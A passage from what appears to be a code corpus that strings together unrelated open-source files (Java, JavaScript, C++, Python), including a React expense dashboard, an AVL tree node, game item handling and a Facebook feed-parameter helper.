selectedRow=table.convertRowIndexToModel(selectedRow); if(outlineSorterJPanel.activeConcepts!=null && outlineSorterJPanel.activeConcepts.length>selectedRow) { OutlineJPanel.getInstance().loadConcept( MindRaider.profile.getActiveOutlineUri().toString(), (String)outlineSorterJPanel.getValueAt(selectedRow, OutlineSorterJPanel.COLUMN_URI)); OutlineJPanel.getInstance().refresh(); } return; } } } };
adligo/tests4j_tests.adligo.org
src/org/adligo/tests4j_tests/references_groups/Tests4J_SystemTrials_GwtReferenceGroup.java
package org.adligo.tests4j_tests.references_groups; public class Tests4J_SystemTrials_GwtReferenceGroup extends Tests4J_ReferenceGroupGwt { public static final Tests4J_SystemTrials_GwtReferenceGroup INSTANCE = new Tests4J_SystemTrials_GwtReferenceGroup(); private Tests4J_SystemTrials_GwtReferenceGroup() { super.setupDelegates(Tests4J_SystemTrials_ReferenceGroup.INSTANCE.getClassNames()); } }
meepobrother/nger
dist/nger-core/lib/cli/option.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const ims_decorator_1 = require("ims-decorator"); exports.OptionMetadataKey = 'OptionMetadataKey'; exports.Option = ims_decorator_1.makeDecorator(exports.OptionMetadataKey); function isOptionPropertyAst(ast) { return ast.metadataKey === exports.OptionMetadataKey; } exports.isOptionPropertyAst = isOptionPropertyAst; class OptionPropertyAst extends ims_decorator_1.PropertyContext { } exports.OptionPropertyAst = OptionPropertyAst;
martmists-gh/BDSP
include/il2cpp/Dpr/Battle/View/Systems/BattleViewUISystem/__c__DisplayClass204_0.h
<reponame>martmists-gh/BDSP #pragma once #include "il2cpp.h" void Dpr_Battle_View_Systems_BattleViewUISystem___c__DisplayClass204_0___ctor (Dpr_Battle_View_Systems_BattleViewUISystem___c__DisplayClass204_0_o* __this, const MethodInfo* method_info); void Dpr_Battle_View_Systems_BattleViewUISystem___c__DisplayClass204_0___OpenPokemonWindow_b__0 (Dpr_Battle_View_Systems_BattleViewUISystem___c__DisplayClass204_0_o* __this, Dpr_UI_PokemonBattleWindow_o* _uiWindow, const MethodInfo* method_info);
keiichi-hikita/eclsdk
ecl/connectivity/exceptions.py
<gh_stars>1-10 """ Exception definitions for Interconnectivity. """ from ecl import exceptions class HttpException(exceptions.HttpException): api_error_key = 'reason' class NotFoundException(HttpException): pass
simonprast/wopi-engine
insurance/api/dev/urls.py
from django.urls import path from rest_framework.urlpatterns import format_suffix_patterns from . import api_views urlpatterns = [ # POST - request to calculate policy with given insurance data path('', api_views.CalculateInsurance.as_view()), ] urlpatterns = format_suffix_patterns(urlpatterns)
madhurisandbhor/ExpenseTracker
app/containers/HomePage/StatisticsContainer/index.js
/** * * StatisticsContainer * */ import React, { memo, useEffect, useState, useContext, useCallback, } from 'react'; import PropTypes from 'prop-types'; import styled from 'styled-components'; import { withStyles } from '@material-ui/core'; import Card from '@material-ui/core/Card/Card'; import { connect } from 'react-redux'; import { createStructuredSelector } from 'reselect'; import { compose } from 'redux'; import { useInjectSaga } from 'utils/injectSaga'; import { useInjectReducer } from 'utils/injectReducer'; import LoadingIndicator from 'components/LoadingIndicator'; import makeSelectStatisticsContainer from './selectors'; import reducer from './reducer'; import saga from './saga'; import MetricDonut from './MetricDonut'; import ExpensePerDayWidget from './ExpensePerDayWidget'; import LatestExpenseList from './LatestExpenseList/Loadable'; import { loadStatisticsData as loadStatisticsDataAction } from './actions'; import { InfoContext } from '../../App/InfoContext'; const TopWidgetsContainer = styled.div` display: flex; flex-direction: row; justify-content: space-between; align-items: center; margin-bottom: 0.5rem; width: 100%; `; const BlockTitle = styled.div` font-size: 1.4rem; color: ${props=>props.theme.tracker.lightTextColor}; `; const WidgetCard = withStyles(theme => ({ root: { position: 'relative', padding: '2.5rem 2rem 0.8rem 2rem', height: '30rem', width: '46.8rem', display: 'flex', flexDirection: 'column', justifyContent: 'space-between', alignItems: 'center', backgroundColor: theme.palette.background.paper, '&:nth-child(2)': { paddingTop: '2.2rem', width: '29rem', }, }, }))(Card); const StatisticsContainer = ({ statisticsContainer, loadStatisticsData }) => { useInjectReducer({ key: 'statisticsContainer', reducer }); useInjectSaga({ key: 'statisticsContainer', saga }); const [loading, setLoading] = useState(true); const [doughnutData, setDoughnutData] = useState([]); const [perDayWidgetData, setPerDayWidgetData] = useState([]); const [expenseBy, setExpenseBy] = useState({ type: 'yearly', year: '', weekStartDate: '', weekEndDate: '', }); const { info } = useContext(InfoContext); const { userId } = info; const { dataByCategory, dataByDays } = statisticsContainer.expenseData; const updateExpenseByValue = useCallback(args => { setExpenseBy({ ...expenseBy, type: args.type, year: args.year, weekStartDate: args.weekStartDate, weekEndDate: args.weekEndDate, }); }, []); useEffect(() => { if (userId) loadStatisticsData({ userId, expenseBy }); }, [userId, expenseBy]); useEffect(() => { setDoughnutData(dataByCategory); setPerDayWidgetData(dataByDays); setLoading(statisticsContainer.loading); }, [dataByCategory, dataByDays]); return ( <TopWidgetsContainer> <WidgetCard> {loading ? ( <LoadingIndicator /> ) : ( <ExpensePerDayWidget expenseData={perDayWidgetData} expenseBy={expenseBy} setExpenseBy={updateExpenseByValue} /> )} <BlockTitle>Expenses Distribution</BlockTitle> </WidgetCard> <WidgetCard> {loading ? ( <LoadingIndicator /> ) : ( <MetricDonut doughnutData={doughnutData} /> )} <BlockTitle>Category Distribution</BlockTitle> </WidgetCard> <WidgetCard> {loading ? <LoadingIndicator /> : <LatestExpenseList />} <BlockTitle>Latest Expenses</BlockTitle> </WidgetCard> </TopWidgetsContainer> ); }; StatisticsContainer.propTypes = { statisticsContainer: PropTypes.object.isRequired, loadStatisticsData: PropTypes.func.isRequired, }; const mapStateToProps = createStructuredSelector({ statisticsContainer: makeSelectStatisticsContainer(), }); const mapDispatchToProps = dispatch => ({ loadStatisticsData: params => dispatch(loadStatisticsDataAction(params)), }); const withConnect = connect( mapStateToProps, mapDispatchToProps, ); export default compose( withConnect, memo, )(StatisticsContainer);
ani03sha/Leetcoding
march-2021-leetocding-challenge/src/test/java/org/redquark/leetcoding/challenge/Problem21_ReorderedPowerOf2Test.java
package org.redquark.leetcoding.challenge; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertTrue; class Problem21_ReorderedPowerOf2Test { private final Problem21_ReorderedPowerOf2 testObject = new Problem21_ReorderedPowerOf2(); @Test void testReorderedPowerOf2() { assertTrue(testObject.reorderedPowerOf2(1)); assertFalse(testObject.reorderedPowerOf2(10)); assertTrue(testObject.reorderedPowerOf2(16)); assertFalse(testObject.reorderedPowerOf2(24)); assertTrue(testObject.reorderedPowerOf2(46)); } }
bobbrow/cpp-docs
docs/atl-mfc-shared/codesnippet/CPP/ctime-class_4.cpp
CTime t = CTime::GetCurrentTime(); DBTIMESTAMP ts; t.GetAsDBTIMESTAMP(ts); // Retrieves the time in t into the ts structure
Bedford-Express-1023/1023-2022
src/main/java/frc/robot/subsystems/ClimberSubsystem.java
// Copyright (c) FIRST and other WPILib contributors. // Open Source Software; you can modify and/or share it under the terms of // the WPILib BSD license file in the root directory of this project. package frc.robot.subsystems; import com.ctre.phoenix.motorcontrol.ControlMode; import com.ctre.phoenix.motorcontrol.can.WPI_TalonFX; import edu.wpi.first.wpilibj.DigitalInput; import edu.wpi.first.wpilibj.PneumaticsModuleType; import edu.wpi.first.wpilibj.Solenoid; import edu.wpi.first.wpilibj.smartdashboard.SmartDashboard; import edu.wpi.first.wpilibj2.command.SubsystemBase; import frc.robot.RobotContainer; public class ClimberSubsystem extends SubsystemBase { private final WPI_TalonFX climberRightMotor = new WPI_TalonFX(55); private final WPI_TalonFX climberLeftMotor = new WPI_TalonFX(56); private final Solenoid climberSolenoid = new Solenoid(PneumaticsModuleType.CTREPCM, 4); private final DigitalInput MotorSwitch = new DigitalInput(0); private final RobotContainer m_robotContainer; boolean MotorSwitchState; /** Creates a new climberSubsytem. */ public ClimberSubsystem(RobotContainer robotContainer) { m_robotContainer = robotContainer; } @Override public void periodic() { if (MotorSwitch.get()){ MotorSwitchState = false; } else { MotorSwitchState = true; } SmartDashboard.putBoolean("Motor Switch", MotorSwitchState); } public void climberUnlock(){ climberSolenoid.set(true); } public void climberLock(){ climberSolenoid.set(false); } public void climbLock(){ climberSolenoid.set(true); } public void climberUp(){ climberUnlock(); climberLeftMotor.set(ControlMode.PercentOutput, -1); climberRightMotor.set(ControlMode.PercentOutput, 1); } public void climberDown(){ climberLeftMotor.set(ControlMode.PercentOutput, -0.85); climberRightMotor.set(ControlMode.PercentOutput, 0.85); } public void climberOff(){ climberLock(); climberLeftMotor.set(ControlMode.PercentOutput, 0); climberRightMotor.set(ControlMode.PercentOutput, 0); } }
hefen1/chromium
components/enhanced_bookmarks/bookmark_server_search_service.h
<gh_stars>0 // Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef COMPONENTS_ENHANCED_BOOKMARKS_BOOKMARK_SERVER_SEARCH_SERVICE_H_ #define COMPONENTS_ENHANCED_BOOKMARKS_BOOKMARK_SERVER_SEARCH_SERVICE_H_ #include <string> #include <vector> #include "base/containers/mru_cache.h" #include "components/enhanced_bookmarks/bookmark_server_service.h" #include "net/url_request/url_fetcher.h" namespace enhanced_bookmarks { class EnhancedBookmarkModel; // Sends requests to the bookmark server to search for bookmarks relevant to a // given query. Will handle one outgoing request at a time. class BookmarkServerSearchService : public BookmarkServerService { public: BookmarkServerSearchService( scoped_refptr<net::URLRequestContextGetter> request_context_getter, ProfileOAuth2TokenService* token_service, SigninManagerBase* signin_manager, EnhancedBookmarkModel* bookmark_model); ~BookmarkServerSearchService() override; // Triggers a search. The query must not be empty. A call to this method // cancels any previous searches. If there have been multiple queries in // between, onChange will only be called for the last query. // Note this method will be synchronous if query hits the cache. void Search(const std::string& query); // Returns search results for a query. Results for a query are only available // after Search() is called and after then OnChange() observer methods has // been sent.This method might return an empty vector, meaning there are no // bookmarks matching the given query. Returning null means we are still // loading and no results have come to the client. Previously cancelled // queries will not trigger onChange(), and this method will also return null // for queries that have never been passed to Search() before. scoped_ptr<std::vector<const bookmarks::BookmarkNode*>> ResultForQuery( const std::string& query); protected: scoped_ptr<net::URLFetcher> CreateFetcher() override; bool ProcessResponse(const std::string& response, bool* should_notify) override; void CleanAfterFailure() override; // EnhancedBookmarkModelObserver methods. void EnhancedBookmarkModelLoaded() override{}; void EnhancedBookmarkAdded(const bookmarks::BookmarkNode* node) override; void EnhancedBookmarkRemoved(const bookmarks::BookmarkNode* node) override {} void EnhancedBookmarkNodeChanged( const bookmarks::BookmarkNode* node) override {} void EnhancedBookmarkAllUserNodesRemoved() override; void EnhancedBookmarkRemoteIdChanged(const bookmarks::BookmarkNode* node, const std::string& old_remote_id, const std::string& remote_id) override; private: // Cache for previous search result, a map from a query string to vector of // star_ids. base::MRUCache<std::string, std::vector<std::string>> cache_; // The query currently on the fly, and is cleared as soon as the result is // available. std::string current_query_; DISALLOW_COPY_AND_ASSIGN(BookmarkServerSearchService); }; } // namespace enhanced_bookmarks #endif // COMPONENTS_ENHANCED_BOOKMARKS_BOOKMARK_SERVER_SEARCH_SERVICE_H_
alapontgr/Engine
Engine/Src/Common/GfShaderCompiler/GfShaderCache.h
<reponame>alapontgr/Engine #pragma once //////////////////////////////////////////////////////////////////////////////// // // Author: <NAME> (<EMAIL>) // File: GfShaderCache.h // // Copyright (c) 2021 (See README.md) // //////////////////////////////////////////////////////////////////////////////// #ifndef __GFSHADERCACHE_H__ #define __GFSHADERCACHE_H__ //////////////////////////////////////////////////////////////////////////////// #include "Common/GfCore/GfCoreMinimal.h" #include "Common/GfRender/GfRenderCommon.h" //////////////////////////////////////////////////////////////////////////////// struct GfPipelineBlobHeader { u32 m_mutatorCount; u32 m_usedStages; u32 m_stringCount; // Array with the offsets to the beginning of every string u32 m_stringCacheOffsets; // Array with the size of each string u32 m_stringCacheSizes; u32 m_bytecodesCount; // Offset to the beginning of each blob of shader bytecodes. u32 m_bytecodeCacheOffsets; // Offset to the array of sizes of each blob of shader bytecodes. u32 m_bytecodeSizes; // Offset to the first element of the array of descriptors. u32 m_descriptorsOffset; // Offset to the array of mutators. u32 m_mutatorsOffset; // Serialize shader variants u32 m_variantsCount; u32 m_variantsHashesArrayOffset; // Offset to the array of variants data u32 m_variantsOffset; }; class GfShaderSerializer { public: friend class GfShaderCompiler; using ShaderBytecode = GfUniquePtr<u32[]>; using BytecodeHash = u64; struct ShaderVariant { ShaderVariant() { m_data.m_stagesBytecodeIdxs.fill(-1); m_data.m_setBindingsIdx.fill(-1); m_data.m_setsLayoutHash.fill(0); } void setVariantShaderBytecode(ShaderStage::Type stage, s32 bytecodeIdx); void setDescriptorSetLayoutRangeAndHash(u32 set, s16 idx, u64 hash); s32 getBytecodeIndexForStage(ShaderStage::Type stage) const; GfShaderVariantData m_data; }; GfShaderSerializer(); void enableStage(ShaderStage::Type stage); void addMutator(const GfString& mutatorName); GfString getMutatorNameAt(u32 idx) const; GfString mutatorHashToDefines(GfVariantHash hash) const; u32 getMutatorCount() const; u32 getStageEnabled(ShaderStage::Type stage) const; ShaderVariant* getVariant(GfVariantHash mutatorHash); // Queues the shader bytecode at the end of the m_bytecodeCache s32 addShaderBytecode(ShaderBytecode shaderBytecode, u32 size); s32 addBindingsArray(const GfArray<GfDescriptorBindingSlot, s_MAX_BINDINGS_PER_SET>& bindings, const u64 hash); GfUniquePtr<u8[]> serializeToBlob(u32& size) const; private: void serialize(u8* data, u32& size) const; s32 addString(const GfString& token); static constexpr u32 s_MAX_MUTATOR_COUNT = 32; GfVector<GfString> m_stringCache; // Cache of bytecodes (spirvs) GfVector<ShaderBytecode> m_bytecodeCache; GfVector<u32> m_bytecodeSizes; // Add arrays of descriptor bindings to the cache (m_descriptors), // track the first entry of each array with (m_descriptorBindingArrayOffsets) GfVector<GfDescriptorBindingSlot> m_descriptors; GfUMap<u64, u32> m_bindingsIndexCache; GfUMap<u32, GfUniquePtr<ShaderVariant>> m_variants; GfArray<s32, s_MAX_MUTATOR_COUNT> m_mutators; u32 m_mutatorCount; u32 m_usedStages; }; class GfShaderDeserializer { public: GfShaderDeserializer(); void deserialize(GfUniquePtr<u8[]>&& blob); void deserialize(const GfWeakArray<u8>& blob); s32 findIdxForMutator(const GfString& mutatorName) const; const GfShaderVariantData* getVariantData(GfVariantHash variantHash) const; const GfWeakArray<GfDescriptorBindingSlot> getDescriptorBindings(const GfShaderVariantData* variant, const u32 descSet, u64& layoutHash) const; const u32* getStageBytecodeForVariant(const GfShaderVariantData* variant, ShaderStage::Type stage, size_t& bytecodeSize) const; bool isGraphics() const; bool isCompute() const; u32 getUsedStages() const; private: const GfDescriptorBindingSlot* getDescriptorBindings(u32 idx) const; const char* getCachedString(u32 idx) const; const u32* getBytecodePtr(u32 idx) const; void deserializeBlob(); u32 getBytecodeSize(u32 idx) const; GfUniquePtr<u8[]> m_binary; GfWeakArray<u8> m_binaryWeak; const u8* m_blob; GfWeakArray<u32> m_stringOffsets; GfWeakArray<u32> m_bytecodeOffsets; GfWeakArray<u32> m_bytecodeSizes; GfWeakArray<s32> m_mutators; GfUMap<u32, const GfShaderVariantData*> m_variantsDataCache; }; //////////////////////////////////////////////////////////////////////////////// class GfShaderCache { public: GfShaderCache() {} virtual bool skipCompilation(const GfString& shaderName, const u64 srcHash) const = 0; virtual void registerShaderBlob(const GfString& filename, const u64 srcHash, const GfShaderSerializer& shader) = 0; private: }; class GfShaderCacheFile : public GfShaderCache { public: GfShaderCacheFile() {} void init(const GfString& cacheDirPath); virtual bool skipCompilation(const GfString& shaderName, const u64 srcHash) const override; virtual void registerShaderBlob(const GfString& filename, const u64 srcHash, const GfShaderSerializer& shader) override; GfString getShaderFile(const GfString& shaderName) const; GfString getShaderFilename(const GfString& shaderName, const GfString& cacheDirPath) const; GfWeakArray<u8> getShaderBlob(const GfString& shaderName); private: struct BlobWithSize { GfUniquePtr<u8[]> m_blob; u32 m_size; }; static GfString getShaderFilename(const u64 shaderFileHash, const GfString& basePath); void loadParseCache(const GfString& filePath); void saveCache(const GfString& filePath); GfWeakArray<u8> loadShaderBlobFromFile(const GfString& shaderName); GfString m_cacheDirPath; GfUMap<u64, u64> m_filenameToHash; GfUMap<u64, GfString> m_fileHashToName; GfUMap<u64, BlobWithSize> m_fileHashToBlob; }; //////////////////////////////////////////////////////////////////////////////// #endif
balent/db-scheduler
db-scheduler/src/test/java/com/github/kagkarlsson/scheduler/ExecutionTest.java
package com.github.kagkarlsson.scheduler; import com.github.kagkarlsson.scheduler.task.Execution; import com.github.kagkarlsson.scheduler.task.schedule.FixedDelay; import com.github.kagkarlsson.scheduler.task.helper.OneTimeTask; import com.github.kagkarlsson.scheduler.task.helper.RecurringTask; import java.time.Duration; import java.time.Instant; import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertNotEquals; import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Assertions.*; public class ExecutionTest { @Test public void test_equals() { Instant now = Instant.now(); OneTimeTask<Void> task = TestTasks.oneTime("OneTime", Void.class, (instance, executionContext) -> {}); RecurringTask<Void> task2 = TestTasks.recurring("Recurring", FixedDelay.of(Duration.ofHours(1)), TestTasks.DO_NOTHING); assertEquals(new Execution(now, task.instance("id1")), new Execution(now, task.instance("id1"))); assertNotEquals(new Execution(now, task.instance("id1")), new Execution(now.plus(Duration.ofMinutes(1)), task.instance("id1"))); assertNotEquals(new Execution(now, task.instance("id1")), new Execution(now, task.instance("id2"))); assertEquals(new Execution(now, task2.instance("id1")), new Execution(now, task2.instance("id1"))); assertNotEquals(new Execution(now, task2.instance("id1")), new Execution(now.plus(Duration.ofMinutes(1)), task2.instance("id1"))); assertNotEquals(new Execution(now, task2.instance("id1")), new Execution(now, task2.instance("id2"))); assertNotEquals(new Execution(now, task.instance("id1")), new Execution(now, task2.instance("id1"))); } }
jakins94/Land-Of-Heroes-4
src/client/ItemHandler.js
import { pickupItem } from './Socket'; let itemList = [ // Name, sprite name ['Health potion', 'healthPotion'], ['Coins', 'coins'], ['Copper helmet', 'copperHelm'], ['Copper platelegs', 'copperLegs'], ['Copper shield', 'copperShield'], ['Copper platebody', 'copperBody'], ['Leather boots', 'leatherBoots'], ['Silver ring', 'silverRing'], ['Copper dagger', 'copperSword'], ['Leather gloves', 'leatherGloves'], ['Copper amulet', 'copperAmulet'] ]; let groundItems = []; export function getItemList() { return itemList; } export function adjustedStat(statName) { let newStat = statName; console.log(newStat) switch(statName) { case 'critChance': newStat = 'Critical chance'; break; } console.log(newStat) return newStat; } export default { itemLoop() { for(let i=0;i<groundItems.length;i++) { if(groundItems[i][2] <= Date.now() - 60000) { groundItems[i][1].destroy(); groundItems.splice(i, 1); } } }, removeGroundItem(data) { for(let i=0;i<groundItems.length;i++) { if(groundItems[i][0] == data.itemId) { groundItems[i][1].destroy(); groundItems.splice(i, 1); } } }, groundItemById(id) { for(let i=0;i<groundItems.length;i++) { if(groundItems[i] == id) { return groundItems[i]; } } return false; }, createGroundItem(data) { let phaser = window.game; let scene = phaser.scene.getScene('Game'); let itemSprite = scene.physics.add.sprite(data.x, data.y, itemList[data.type][1]).setInteractive(); itemSprite.setScale(1.2, 1.2); itemSprite.depth = 3; itemSprite.on('pointerdown', () => { pickupItem(data.itemId); }); scene.tweens.add({ targets: itemSprite, y: data.y - 7, duration: 1000, ease: 'Sine.easeInOut', repeat: -1, yoyo: true }); let item = [data.itemId, itemSprite, Date.now()]; groundItems.push(item); } }
davesag/social-media-collector
src/content/facebook/utils/post/normaliseCommonData.js
<filename>src/content/facebook/utils/post/normaliseCommonData.js /* eslint-disable camelcase */ /** * Take the data injected into the feedscanner and return just the bits we need. * Note: we must get `id` and `client_token` elsewhere. * * @param {Object} data — the data as suppied to the feed scanner. * @return {Object} most of the data needed to create GraphQL Queries. */ const normaliseCommonData = ({ paramsPost: { fb_dtsg, __user, __a, __dyn, __csr, __req, __beoa, __pc, dpr, __rev, __s, __hsi, jazoest, __spin_r, __spin_b, __spin_t } }) => ({ fb_dtsg, __user, __a, __dyn, __csr, __req, __beoa, __pc, dpr, __rev, __s, __hsi, jazoest, __spin_r, __spin_b, __spin_t }); export default normaliseCommonData;
the-wrench-io/thena
thena-core/thena-docdb-api/src/main/java/io/resys/thena/docdb/spi/repo/RepoQueryBuilder.java
<reponame>the-wrench-io/thena<filename>thena-core/thena-docdb-api/src/main/java/io/resys/thena/docdb/spi/repo/RepoQueryBuilder.java package io.resys.thena.docdb.spi.repo; /*- * #%L * thena-docdb-api * %% * Copyright (C) 2021 Copyright 2021 ReSys OÜ * %% * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * #L% */ import io.resys.thena.docdb.api.actions.RepoActions; import io.resys.thena.docdb.api.actions.RepoActions.QueryBuilder; import io.resys.thena.docdb.api.models.Repo; import io.resys.thena.docdb.spi.ClientState; import io.resys.thena.docdb.spi.support.RepoAssert; import io.smallrye.mutiny.Multi; import io.smallrye.mutiny.Uni; public class RepoQueryBuilder implements RepoActions.QueryBuilder { private final ClientState state; private String id; private String rev; public RepoQueryBuilder(ClientState state) { super(); this.state = state; } @Override public RepoActions.QueryBuilder id(String id) { this.id = id; return this; } @Override public QueryBuilder rev(String rev) { this.rev = rev; return this; } @Override public Multi<Repo> find() { return state.repos().find(); } @Override public Uni<Repo> get() { RepoAssert.notEmpty(id, () -> "Define id or name!"); return state.repos().getByNameOrId(id); } }
erikyryan/orientacao-a-objeto
4-excecoes/12.4-exceptions/src/App.java
public class App { public static void main(String[] args) throws Exception { try{ int a = 5 / 0; }catch(Exception e){ System.out.println(e.getMessage()); }finally{ System.out.println("Executando independente se há uma exceção"); } } }
barrasflorian/jeo
Common/src/jeo/common/structure/tree/node/AVLBinaryNode.java
<reponame>barrasflorian/jeo /* * The MIT License * * Copyright 2013-2015 <NAME>. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package jeo.common.structure.tree.node; public class AVLBinaryNode<K extends Comparable<K>, V> extends BinaryNode<K, V, AVLBinaryNode<K, V>> { //////////////////////////////////////////////////////////////////////////// // ATTRIBUTE(S) //////////////////////////////////////////////////////////////////////////// /** * Generated serial version ID. */ private static final long serialVersionUID = 3892793058305732935L; private static boolean update = true; public long height, balance; //////////////////////////////////////////////////////////////////////////// // CONSTRUCTOR(S) //////////////////////////////////////////////////////////////////////////// /** * Constructs an AVL binary node with the specified key and value. * <p> * @param key the key of the node * @param value the value of the node */ public AVLBinaryNode(final K key, final V value) { super(key, value); height = 0; balance = 0; } //////////////////////////////////////////////////////////////////////////// // UPDATE //////////////////////////////////////////////////////////////////////////// public static void isNecessaryToUpdate(final boolean update) { AVLBinaryNode.update = update; } //////////////////////////////////////////////////////////////////////////// // PARENT, LEFT AND RIGHT NODES //////////////////////////////////////////////////////////////////////////// /** * Sets the parent and updates the parents of this node if * {@code updateParents} is {@code true}. * <p> * @param parentNode the parent to set */ protected void setParentNode(final AVLBinaryNode<K, V> parentNode) { parent = parentNode; // Update the heights and the balances of the parents if (update) { updateParentNodes(); } } /** * Sets the left node of this node. * <p> * @param leftNode the left node to set */ @Override public void setLeftNode(final AVLBinaryNode<K, V> leftNode) { this.left = leftNode; if (update) { updateHeightAndBalance(); } if (this.left != null) { this.left.isLeft = true; this.left.setParentNode(this); } } /** * Sets the right node of this node. * <p> * @param rightNode the right node to set */ @Override public void setRightNode(final AVLBinaryNode<K, V> rightNode) { this.right = rightNode; if (update) { updateHeightAndBalance(); } if (this.right != null) { this.right.isLeft = false; this.right.setParentNode(this); } } /** * Returns {@code true} if this node is a leaf, or {@code false} otherwise. * <p> * @return {@code true} if this node is a leaf, or {@code false} otherwise */ public boolean isLeaf() { return (left == null) && (right == null); } //////////////////////////////////////////////////////////////////////////// // HEIGHT & BALANCE //////////////////////////////////////////////////////////////////////////// /** * Updates the height and the balance of this node. */ public void updateHeightAndBalance() { if (isLeaf()) { height = 0; balance = 0; } else { long leftHeight; long rightHeight; // Update the height of this node if (left == null) { leftHeight = -1; rightHeight = right.height; height = 1 + right.height; } else if (right == null) { leftHeight = left.height; rightHeight = -1; height = 1 + left.height; } else { leftHeight = left.height; rightHeight = right.height; height = 1 + (leftHeight >= rightHeight ? leftHeight : rightHeight); } // Update the balance of this node balance = rightHeight - leftHeight; } } /** * Updates the height and the balance of this node and if this node is a * leaf, updates also the heights and the balances of the parents. */ public void updateHeightsAndBalances() { updateHeightAndBalance(); if (isLeaf()) { updateParentNodes(); } } /** * Updates the heights and the balances of the parents of this node. */ public void updateParentNodes() { AVLBinaryNode<K, V> node = parent; while (node != null) { node.updateHeightAndBalance(); node = node.parent; } } }
max402/secure-token-service
sts-e2e-tests/src/test/java/de/adorsys/sts/tests/e2e/AdminControllerJpaTest.java
package de.adorsys.sts.tests.e2e; import de.adorsys.sts.tests.BaseEndpointTest; import de.adorsys.sts.tests.JpaPersistenceAutoConfiguration; import de.adorsys.sts.tests.Resource; import de.adorsys.sts.tests.config.WithAdminConfig; import de.adorsys.sts.tests.config.WithoutWebSecurityConfig; import lombok.SneakyThrows; import org.junit.jupiter.api.Test; import org.springframework.http.MediaType; import org.springframework.test.context.ContextConfiguration; import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get; import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.content; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; @JpaPersistenceAutoConfiguration @ContextConfiguration(classes = {WithAdminConfig.class, WithoutWebSecurityConfig.class}) class AdminControllerJpaTest extends BaseEndpointTest { @Test @SneakyThrows void getResourseServersTest() { String expectedContent = Resource.read("fixture/admin_controller_response.json"); mvc.perform(get("/admin/resourceServer/") .contentType(MediaType.APPLICATION_JSON_VALUE)) .andExpect(status().isOk()) .andExpect(content().json(expectedContent)) .andReturn(); } @Test @SneakyThrows void postResourceServerTest() { String requestJson = Resource.read(("fixture/admin_controller_request.json")); mvc.perform(post("/admin/resourceServer/") .contentType(MediaType.APPLICATION_JSON_VALUE) .content(requestJson)) .andExpect(status().is(204)) .andReturn(); } }
sherry-pra/arcs
particles/Products/source/ManufacturerInfo.js
/** * @license * Copyright (c) 2017 Google Inc. All rights reserved. * This code may only be used under the BSD style license found at * http://polymer.github.io/LICENSE.txt * Code distributed by Google as part of this project is also * subject to an additional IP rights grant found at * http://polymer.github.io/PATENTS.txt */ 'use strict'; defineParticle(({DomParticle, html}) => { const template = html` <div style="padding: 4px 0;">{{message}}</div> `; return class extends DomParticle { get template() { return template; } shouldRender(props) { return Boolean(props && props.product); } render({product}) { const messages = { 'Power Tool Set': `Newer version, ${product.name} v2, is available now.`, 'Guardian of the Galaxy Figure': `Manufacturer recommended for ages 13 and older.`, 'Book: How to Draw': `Award-winning book!` }; return {message: messages[product.name]}; } }; });
CorentG/Pokecube-Issues-and-Wiki
src/main/java/pokecube/core/moves/zmoves/ZPower.java
<filename>src/main/java/pokecube/core/moves/zmoves/ZPower.java<gh_stars>10-100 package pokecube.core.moves.zmoves; import pokecube.core.interfaces.IPokemob; public interface ZPower { default boolean canZMove(final IPokemob pokemob, final String moveIn) { return false; } }
bartoszgolek/whattodofordinner
app/src/main/java/biz/golek/whattodofordinner/view/activities/PromptsActivity.java
<reponame>bartoszgolek/whattodofordinner package biz.golek.whattodofordinner.view.activities; import android.support.annotation.NonNull; import android.support.v7.app.ActionBar; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.ContextMenu; import android.view.MenuInflater; import android.view.MenuItem; import android.view.View; import android.widget.AdapterView; import android.widget.ArrayAdapter; import android.widget.ListView; import org.greenrobot.eventbus.Subscribe; import java.util.List; import biz.golek.whattodofordinner.R; import biz.golek.whattodofordinner.business.contract.request_data.GeneratePromptsRequestData; import biz.golek.whattodofordinner.business.contract.response_data.DinnerListItem; import biz.golek.whattodofordinner.view.ActivityDependencyProvider; import biz.golek.whattodofordinner.view.adapters.DinnerListItemArrayAdapter; import biz.golek.whattodofordinner.view.awareness.IActivityDependencyProviderAware; import biz.golek.whattodofordinner.view.messages.DinnerDeletedMessage; import biz.golek.whattodofordinner.view.messages.DinnerUpdatedMessage; import biz.golek.whattodofordinner.view.view_models.PromptsActivityViewModel; public class PromptsActivity extends AppCompatActivity implements IActivityDependencyProviderAware { private String PROMPTS_LIST_VIEW_MODEL = "promptsListViewModel"; private 